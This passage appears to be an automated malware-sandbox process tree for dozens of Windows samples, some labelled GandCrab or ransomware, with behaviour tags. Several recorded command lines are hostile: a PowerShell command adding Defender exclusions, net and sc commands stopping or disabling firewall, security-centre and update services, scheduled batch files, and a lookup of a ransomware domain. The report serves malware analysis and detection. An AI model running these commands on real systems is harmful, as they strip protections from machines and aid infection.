C:\Windows\SysWOW64\Efccmidp.exeC:\Windows\system32\Efccmidp.exe11⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Gmiclo32.exeC:\Windows\system32\Gmiclo32.exe12⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Iknmla32.exeC:\Windows\system32\Iknmla32.exe13⤵
-
C:\Windows\SysWOW64\Jjgchm32.exeC:\Windows\system32\Jjgchm32.exe14⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Jlkipgpe.exeC:\Windows\system32\Jlkipgpe.exe15⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Kqfngd32.exeC:\Windows\system32\Kqfngd32.exe16⤵
- Drops file in System32 directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-gzzd2asdjcecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-gzzd2asdjcecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-g2vtmasdre0aecafc2be08b73bae7d7c3fdf2a17645a5e6b8ab2d64ef934c9265355999887.exeC:\Users\Admin\Downloads\240920-g2vtmasdre0aecafc2be08b73bae7d7c3fdf2a17645a5e6b8ab2d64ef934c9265355999887.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\240920-g9kzdsshka1d81e252736276a92b491baf5b7c81c6980f2934a73f2540df63d8df102b72abN.exeC:\Users\Admin\Downloads\240920-g9kzdsshka1d81e252736276a92b491baf5b7c81c6980f2934a73f2540df63d8df102b72abN.exe4⤵
- Modifies visiblity of hidden/system files in Explorer
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\faujow.exe"C:\Users\Admin\faujow.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hnj1mstdrhed0dec9ff968b0341bcdd980fc6865f4_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hnj1mstdrhed0dec9ff968b0341bcdd980fc6865f4_JaffaCakes118.exe4⤵
- Modifies WinLogon
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\apppatch\svchost.exe"C:\Windows\apppatch\svchost.exe"5⤵
- Modifies WinLogon for persistence
- Modifies WinLogon
-
-
-
C:\Users\Admin\Downloads\240920-hfr2aatemped08abf0d145d2536f42df17f1fabe08_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hfr2aatemped08abf0d145d2536f42df17f1fabe08_JaffaCakes118.exe4⤵
- Modifies firewall policy service
- UAC bypass
- Windows security bypass
- Disables RegEdit via registry modification
- Windows security modification
- Checks whether UAC is enabled
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-g383msshqj356c219762c68eb87052ad7ca4fd9fd1fb92b6cf554ab0a69ec450a5730b83bfN.exeC:\Users\Admin\Downloads\240920-g383msshqj356c219762c68eb87052ad7ca4fd9fd1fb92b6cf554ab0a69ec450a5730b83bfN.exe4⤵
-
C:\Windows\SysWOW64\Papfgbmg.exeC:\Windows\system32\Papfgbmg.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Abponp32.exeC:\Windows\system32\Abponp32.exe6⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Ccbadp32.exeC:\Windows\system32\Ccbadp32.exe7⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hfq4zstbmd3e6fb1a6c074ad659629d96b0c8b533ad5e265729e2fbbd25ebded02c3194f17N.exeC:\Users\Admin\Downloads\240920-hfq4zstbmd3e6fb1a6c074ad659629d96b0c8b533ad5e265729e2fbbd25ebded02c3194f17N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\System32\PyUcqns.exeC:\Windows\System32\PyUcqns.exe5⤵
-
-
C:\Windows\System32\YrqjkAn.exeC:\Windows\System32\YrqjkAn.exe5⤵
-
-
C:\Windows\System32\szLJhDT.exeC:\Windows\System32\szLJhDT.exe5⤵
-
-
C:\Windows\System32\tRkgIgf.exeC:\Windows\System32\tRkgIgf.exe5⤵
-
-
C:\Windows\System32\ItoHFkS.exeC:\Windows\System32\ItoHFkS.exe5⤵
-
-
C:\Windows\System32\QRkfcNE.exeC:\Windows\System32\QRkfcNE.exe5⤵
-
-
C:\Windows\System32\ZzliBTM.exeC:\Windows\System32\ZzliBTM.exe5⤵
-
-
C:\Windows\System32\swUitdJ.exeC:\Windows\System32\swUitdJ.exe5⤵
-
-
C:\Windows\System32\TYPahaH.exeC:\Windows\System32\TYPahaH.exe5⤵
-
-
C:\Windows\System32\SkoUTSY.exeC:\Windows\System32\SkoUTSY.exe5⤵
-
-
C:\Windows\System32\lYoxsVX.exeC:\Windows\System32\lYoxsVX.exe5⤵
-
-
C:\Windows\System32\EwrAAtP.exeC:\Windows\System32\EwrAAtP.exe5⤵
-
-
C:\Windows\System32\NkwLYKK.exeC:\Windows\System32\NkwLYKK.exe5⤵
-
-
C:\Windows\System32\tUMfQIe.exeC:\Windows\System32\tUMfQIe.exe5⤵
-
-
C:\Windows\System32\HDEsJjq.exeC:\Windows\System32\HDEsJjq.exe5⤵
-
-
C:\Windows\System32\IJTNjuf.exeC:\Windows\System32\IJTNjuf.exe5⤵
-
-
C:\Windows\System32\rfimjrA.exeC:\Windows\System32\rfimjrA.exe5⤵
-
-
C:\Windows\System32\DkPMaoD.exeC:\Windows\System32\DkPMaoD.exe5⤵
-
-
C:\Windows\System32\dphyGiz.exeC:\Windows\System32\dphyGiz.exe5⤵
-
-
C:\Windows\System32\lsjsYLS.exeC:\Windows\System32\lsjsYLS.exe5⤵
-
-
C:\Windows\System32\DrSIgeo.exeC:\Windows\System32\DrSIgeo.exe5⤵
-
-
C:\Windows\System32\ffahxpu.exeC:\Windows\System32\ffahxpu.exe5⤵
-
-
C:\Windows\System32\jbQWlUu.exeC:\Windows\System32\jbQWlUu.exe5⤵
-
-
C:\Windows\System32\FvKWvST.exeC:\Windows\System32\FvKWvST.exe5⤵
-
-
C:\Windows\System32\HbtqgvC.exeC:\Windows\System32\HbtqgvC.exe5⤵
-
-
C:\Windows\System32\DWRzJsH.exeC:\Windows\System32\DWRzJsH.exe5⤵
-
-
C:\Windows\System32\kBiWQOB.exeC:\Windows\System32\kBiWQOB.exe5⤵
-
-
C:\Windows\System32\Ohhjdya.exeC:\Windows\System32\Ohhjdya.exe5⤵
-
-
C:\Windows\System32\qfqrpYe.exeC:\Windows\System32\qfqrpYe.exe5⤵
-
-
C:\Windows\System32\dObvCPk.exeC:\Windows\System32\dObvCPk.exe5⤵
-
-
C:\Windows\System32\EvLEuuI.exeC:\Windows\System32\EvLEuuI.exe5⤵
-
-
C:\Windows\System32\TIkyHZI.exeC:\Windows\System32\TIkyHZI.exe5⤵
-
-
C:\Windows\System32\YHRtqXm.exeC:\Windows\System32\YHRtqXm.exe5⤵
-
-
C:\Windows\System32\lmSEIdz.exeC:\Windows\System32\lmSEIdz.exe5⤵
-
-
C:\Windows\System32\YDQOYRr.exeC:\Windows\System32\YDQOYRr.exe5⤵
-
-
C:\Windows\System32\FeSMdiq.exeC:\Windows\System32\FeSMdiq.exe5⤵
-
-
C:\Windows\System32\XGOCWcH.exeC:\Windows\System32\XGOCWcH.exe5⤵
-
-
C:\Windows\System32\AuDWPNQ.exeC:\Windows\System32\AuDWPNQ.exe5⤵
-
-
C:\Windows\System32\YEaYBOd.exeC:\Windows\System32\YEaYBOd.exe5⤵
-
-
C:\Windows\System32\dnSajbU.exeC:\Windows\System32\dnSajbU.exe5⤵
-
-
C:\Windows\System32\PgCRqeq.exeC:\Windows\System32\PgCRqeq.exe5⤵
-
-
C:\Windows\System32\oaKwVwS.exeC:\Windows\System32\oaKwVwS.exe5⤵
-
-
C:\Windows\System32\BbjmINj.exeC:\Windows\System32\BbjmINj.exe5⤵
-
-
C:\Windows\System32\qoPRtRw.exeC:\Windows\System32\qoPRtRw.exe5⤵
-
-
C:\Windows\System32\bcLbggV.exeC:\Windows\System32\bcLbggV.exe5⤵
-
-
C:\Windows\System32\aYpKNfn.exeC:\Windows\System32\aYpKNfn.exe5⤵
-
-
C:\Windows\System32\TBoWUPY.exeC:\Windows\System32\TBoWUPY.exe5⤵
-
-
C:\Windows\System32\MUDHFAx.exeC:\Windows\System32\MUDHFAx.exe5⤵
-
-
C:\Windows\System32\hjzjsSZ.exeC:\Windows\System32\hjzjsSZ.exe5⤵
-
-
C:\Windows\System32\KnSlVMU.exeC:\Windows\System32\KnSlVMU.exe5⤵
-
-
C:\Windows\System32\lkVlUOg.exeC:\Windows\System32\lkVlUOg.exe5⤵
-
-
C:\Windows\System32\iJovWwP.exeC:\Windows\System32\iJovWwP.exe5⤵
-
-
C:\Windows\System32\Ddnuuqj.exeC:\Windows\System32\Ddnuuqj.exe5⤵
-
-
C:\Windows\System32\deaOaMc.exeC:\Windows\System32\deaOaMc.exe5⤵
-
-
C:\Windows\System32\fTsnpdF.exeC:\Windows\System32\fTsnpdF.exe5⤵
-
-
C:\Windows\System32\rHkxNpl.exeC:\Windows\System32\rHkxNpl.exe5⤵
-
-
C:\Windows\System32\sbwxzZp.exeC:\Windows\System32\sbwxzZp.exe5⤵
-
-
C:\Windows\System32\VwaRyhr.exeC:\Windows\System32\VwaRyhr.exe5⤵
-
-
C:\Windows\System32\qQXmwda.exeC:\Windows\System32\qQXmwda.exe5⤵
-
-
C:\Windows\System32\QeREmiI.exeC:\Windows\System32\QeREmiI.exe5⤵
-
-
C:\Windows\System32\XTQEzIj.exeC:\Windows\System32\XTQEzIj.exe5⤵
-
-
C:\Windows\System32\vqGPQol.exeC:\Windows\System32\vqGPQol.exe5⤵
-
-
C:\Windows\System32\GbfMXju.exeC:\Windows\System32\GbfMXju.exe5⤵
-
-
C:\Windows\System32\Suhplyu.exeC:\Windows\System32\Suhplyu.exe5⤵
-
-
C:\Windows\System32\dIgmLSO.exeC:\Windows\System32\dIgmLSO.exe5⤵
-
-
C:\Windows\System32\VYwotWw.exeC:\Windows\System32\VYwotWw.exe5⤵
-
-
C:\Windows\System32\JpjUwcv.exeC:\Windows\System32\JpjUwcv.exe5⤵
-
-
C:\Windows\System32\sWMThWP.exeC:\Windows\System32\sWMThWP.exe5⤵
-
-
C:\Windows\System32\CDYBDkt.exeC:\Windows\System32\CDYBDkt.exe5⤵
-
-
C:\Windows\System32\DklTqgP.exeC:\Windows\System32\DklTqgP.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hs7mhatfqhed10e416ff245918e4157fdb76f384df_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hs7mhatfqhed10e416ff245918e4157fdb76f384df_JaffaCakes118.exe4⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
-
C:\Users\Admin\Downloads\240920-hjev5atcmb202409202e7474444528df5df11f1248eb7ee461poetratsnatch.exeC:\Users\Admin\Downloads\240920-hjev5atcmb202409202e7474444528df5df11f1248eb7ee461poetratsnatch.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-g3n3gashnmed00e3641e1379cda7335135d32542c8_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g3n3gashnmed00e3641e1379cda7335135d32542c8_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
-
\??\c:\users\admin\rmvxbqtngcC:\Users\Admin\Downloads\240920-g3n3gashnmed00e3641e1379cda7335135d32542c8_JaffaCakes118.exe a -sc:\users\admin\downloads\240920-g3n3gashnmed00e3641e1379cda7335135d32542c8_jaffacakes118.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g8hgwatbnk1b48257169e4b14fac8a448cf555c468f10edc61003e2e82a3f6a25570f44142.exeC:\Users\Admin\Downloads\240920-g8hgwatbnk1b48257169e4b14fac8a448cf555c468f10edc61003e2e82a3f6a25570f44142.exe4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Users\Admin\Downloads\240920-g8hgwatbnk1b48257169e4b14fac8a448cf555c468f10edc61003e2e82a3f6a25570f44142.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hffcgstblc476e6af2e3434110268d897375a4e054f8de4dc105e8d0a4c3e9fda9131ed9d1N.exeC:\Users\Admin\Downloads\240920-hffcgstblc476e6af2e3434110268d897375a4e054f8de4dc105e8d0a4c3e9fda9131ed9d1N.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7952 -s 2245⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-g9m4ratcjped049e55358288cc631a0791d3e30eb7_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g9m4ratcjped049e55358288cc631a0791d3e30eb7_JaffaCakes118.exe4⤵
- Modifies firewall policy service
- Modifies visiblity of hidden/system files in Explorer
- UAC bypass
- Windows security bypass
- Disables RegEdit via registry modification
- Checks computer location settings
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Users\Admin\wuivo.exe"C:\Users\Admin\wuivo.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7732 -s 11685⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-hd2gyataqhed0793862789feac210d11d552f10488_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hd2gyataqhed0793862789feac210d11d552f10488_JaffaCakes118.exe4⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g8smvatbpmed042ec84feec8fe4759aec258c565fa_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g8smvatbpmed042ec84feec8fe4759aec258c565fa_JaffaCakes118.exe4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\internet explorer\ieinstal.exeC:\Users\Admin\Downloads\240920-g8smvatbpmed042ec84feec8fe4759aec258c565fa_JaffaCakes118.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g17f2asgrnecffe71c544372e8e8cb9ed4fffdcaec_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g17f2asgrnecffe71c544372e8e8cb9ed4fffdcaec_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-g4lnqssepded0163730cb3ee097b2bfe0ddc48f727_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g4lnqssepded0163730cb3ee097b2bfe0ddc48f727_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe start schedule /y5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start schedule /y6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\At.exeAt.exe 7:07:13 AM C:\Windows\Help\HelpCat.exe5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 7:06:15 AM C:\Windows\Sysinf.bat5⤵
-
C:\Windows\SysWOW64\at.exeat 7:06:15 AM C:\Windows\Sysinf.bat6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 7:09:15 AM C:\Windows\Sysinf.bat5⤵
-
C:\Windows\SysWOW64\at.exeat 7:09:15 AM C:\Windows\Sysinf.bat6⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y6⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y6⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop srservice /y5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y5⤵
- System Time Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\system\KavUpda.exeC:\Windows\system\KavUpda.exe5⤵
- Drops autorun.inf file
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet.exe start schedule /y6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Windows\SysWOW64\At.exeAt.exe 7:07:28 AM C:\Windows\Help\HelpCat.exe6⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-g48s9sserh10725187a9df7a1b6571c7cb840d4767f52ee7ed7cee2bb3d871598eb59edd93.exeC:\Users\Admin\Downloads\240920-g48s9sserh10725187a9df7a1b6571c7cb840d4767f52ee7ed7cee2bb3d871598eb59edd93.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Downloads\240920-g2fppsshjn832d7eb4628d92d955c6fbe16393cf025ed6d401156a1af32dbac50aa305047bN.exeC:\Users\Admin\Downloads\240920-g2fppsshjn832d7eb4628d92d955c6fbe16393cf025ed6d401156a1af32dbac50aa305047bN.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-he9vpstbkfed085ecc009da7f32a9bc9d2811b6a83_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-he9vpstbkfed085ecc009da7f32a9bc9d2811b6a83_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10192 -s 4845⤵
- Loads dropped DLL
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Downloads\240920-hejzaatdrn49ffb471b6b0c7160298c8da8d7790570d8f2be3f940b99cb6c22810c1c358bdN.exeC:\Users\Admin\Downloads\240920-hejzaatdrn49ffb471b6b0c7160298c8da8d7790570d8f2be3f940b99cb6c22810c1c358bdN.exe4⤵
-
C:\Windows\SysWOW64\Jgpmmp32.exeC:\Windows\system32\Jgpmmp32.exe5⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Kqmkae32.exeC:\Windows\system32\Kqmkae32.exe6⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Kjmfjj32.exeC:\Windows\system32\Kjmfjj32.exe7⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Nmenca32.exeC:\Windows\system32\Nmenca32.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Oeheqm32.exeC:\Windows\system32\Oeheqm32.exe9⤵
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-g1y5nasgqqecffc6b5d33f3c4cb6e583dc453d1f40_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g1y5nasgqqecffc6b5d33f3c4cb6e583dc453d1f40_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hns9bathjq9fd9c1a52b4f85c7602270d2f906dc24997220659996e17997c703e43fbcb3cfN.exeC:\Users\Admin\Downloads\240920-hns9bathjq9fd9c1a52b4f85c7602270d2f906dc24997220659996e17997c703e43fbcb3cfN.exe4⤵
- Modifies firewall policy service
- Loads dropped DLL
- Drops file in Program Files directory
-
-
C:\Users\Admin\Downloads\240920-g5d1aatakq5a2d1d678f43fea37399be8098606198b6ddaca2e5162e1d7b4a12a7251072b0N.exeC:\Users\Admin\Downloads\240920-g5d1aatakq5a2d1d678f43fea37399be8098606198b6ddaca2e5162e1d7b4a12a7251072b0N.exe4⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\Downloads\240920-g52fkstapkfile.exeC:\Users\Admin\Downloads\240920-g52fkstapkfile.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Downloads\240920-g51t2stapjed02b7493b3a8b71df1faeb9a9c25854_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g51t2stapjed02b7493b3a8b71df1faeb9a9c25854_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-g1cawssgnm15e9a323a3ea2e9587d65d0561c225c623094386e10a5d03ffffb0040d1c1132N.exeC:\Users\Admin\Downloads\240920-g1cawssgnm15e9a323a3ea2e9587d65d0561c225c623094386e10a5d03ffffb0040d1c1132N.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-hfmfsstblhd761d3a222a86342ab65cf8753f4eed7b6ef7c5e490995fdb23f5b07476140e4N.exeC:\Users\Admin\Downloads\240920-hfmfsstblhd761d3a222a86342ab65cf8753f4eed7b6ef7c5e490995fdb23f5b07476140e4N.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bffcpg32.exeC:\Windows\system32\Bffcpg32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Users\Admin\Downloads\240920-g7mefatbkled039c91cbd802016c0052cfb7c7479a_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g7mefatbkled039c91cbd802016c0052cfb7c7479a_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g2qvnssdraed0036f868579f563c22d677ad8f02c1_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g2qvnssdraed0036f868579f563c22d677ad8f02c1_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
-
-
C:\Users\Admin\Downloads\240920-hfc75atbla58b02d0eb1e58564c274e82b3aedcad163dbfbbdd25c8ddd8155d15053773e1bN.exeC:\Users\Admin\Downloads\240920-hfc75atbla58b02d0eb1e58564c274e82b3aedcad163dbfbbdd25c8ddd8155d15053773e1bN.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-hm1l1atdqfed0d9819584b531825b1c42ff9533d74_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hm1l1atdqfed0d9819584b531825b1c42ff9533d74_JaffaCakes118.exe4⤵
- Suspicious use of UnmapMainImage
-
-
C:\Users\Admin\Downloads\240920-g98qfsshlf5271ca635dad24eb2a9ff9100b58879afd721e3591a654da852d1cdc148c0d63N.exeC:\Users\Admin\Downloads\240920-g98qfsshlf5271ca635dad24eb2a9ff9100b58879afd721e3591a654da852d1cdc148c0d63N.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
-
C:\Users\Admin\Downloads\240920-gyl3basfrnd487b6acc033f9383b9a68f33ee26d28fc2b59c921f9c43a1abb978cd5e34ac7N.exeC:\Users\Admin\Downloads\240920-gyl3basfrnd487b6acc033f9383b9a68f33ee26d28fc2b59c921f9c43a1abb978cd5e34ac7N.exe4⤵
-
C:\Windows\SysWOW64\Onpjichj.exeC:\Windows\system32\Onpjichj.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bnoknihb.exeC:\Windows\system32\Bnoknihb.exe6⤵
-
C:\Windows\SysWOW64\Lckiihok.exeC:\Windows\system32\Lckiihok.exe7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-g1gklssgnp75200d2c2ca6d22cdee57950e559f24c781a8678767f02d543dbfc6860679a6bN.exeC:\Users\Admin\Downloads\240920-g1gklssgnp75200d2c2ca6d22cdee57950e559f24c781a8678767f02d543dbfc6860679a6bN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
C:\Users\Admin\Downloads\240920-he7ekstelj20240919a42852da9c57fcae5025206eed223f21gandcrab.exeC:\Users\Admin\Downloads\240920-he7ekstelj20240919a42852da9c57fcae5025206eed223f21gandcrab.exe4⤵
- Adds Run key to start application
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
-
-
-
C:\Users\Admin\Downloads\240920-gwce4asfkqecfd211d00761a2cc50b906d1a411236_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-gwce4asfkqecfd211d00761a2cc50b906d1a411236_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hacdmsshma066526283e1f37b603352647d9b421101463112aaf964974618177fdcf79c5fbN.exeC:\Users\Admin\Downloads\240920-hacdmsshma066526283e1f37b603352647d9b421101463112aaf964974618177fdcf79c5fbN.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hcg2xatdkjed0661d0a630881fd3ffcc26e5c8235c_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hcg2xatdkjed0661d0a630881fd3ffcc26e5c8235c_JaffaCakes118.exe4⤵
-
C:\Program Files\temp\win32.exe"C:\Program Files\temp\win32.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\Deleteme.bat5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hes7ystbjh5c5ee23a436602695fb38424b3ecc95181464db860a1eab0c123b10b26298eb4N.exeC:\Users\Admin\Downloads\240920-hes7ystbjh5c5ee23a436602695fb38424b3ecc95181464db860a1eab0c123b10b26298eb4N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Odjeljhd.exeC:\Windows\system32\Odjeljhd.exe5⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Pddhbipj.exeC:\Windows\system32\Pddhbipj.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-g1c77asdkbecff64b993dedee177472f89e6a4bc19_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g1c77asdkbecff64b993dedee177472f89e6a4bc19_JaffaCakes118.exe4⤵
- Identifies Wine through registry keys
-
-
C:\Users\Admin\Downloads\240920-hhy8datfmm2024092028bdbea53f0bd0e8b550fdea4dc1a3aebkransomwarefloxif.exeC:\Users\Admin\Downloads\240920-hhy8datfmm2024092028bdbea53f0bd0e8b550fdea4dc1a3aebkransomwarefloxif.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-hpnefstemced0ed0a149938c9dc58e51fce3380fc9_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hpnefstemced0ed0a149938c9dc58e51fce3380fc9_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hn1y6athkkabe5c594b150872172fd9d707c140933e3b408f8a8d6c2440f369833c57d1470N.exeC:\Users\Admin\Downloads\240920-hn1y6athkkabe5c594b150872172fd9d707c140933e3b408f8a8d6c2440f369833c57d1470N.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
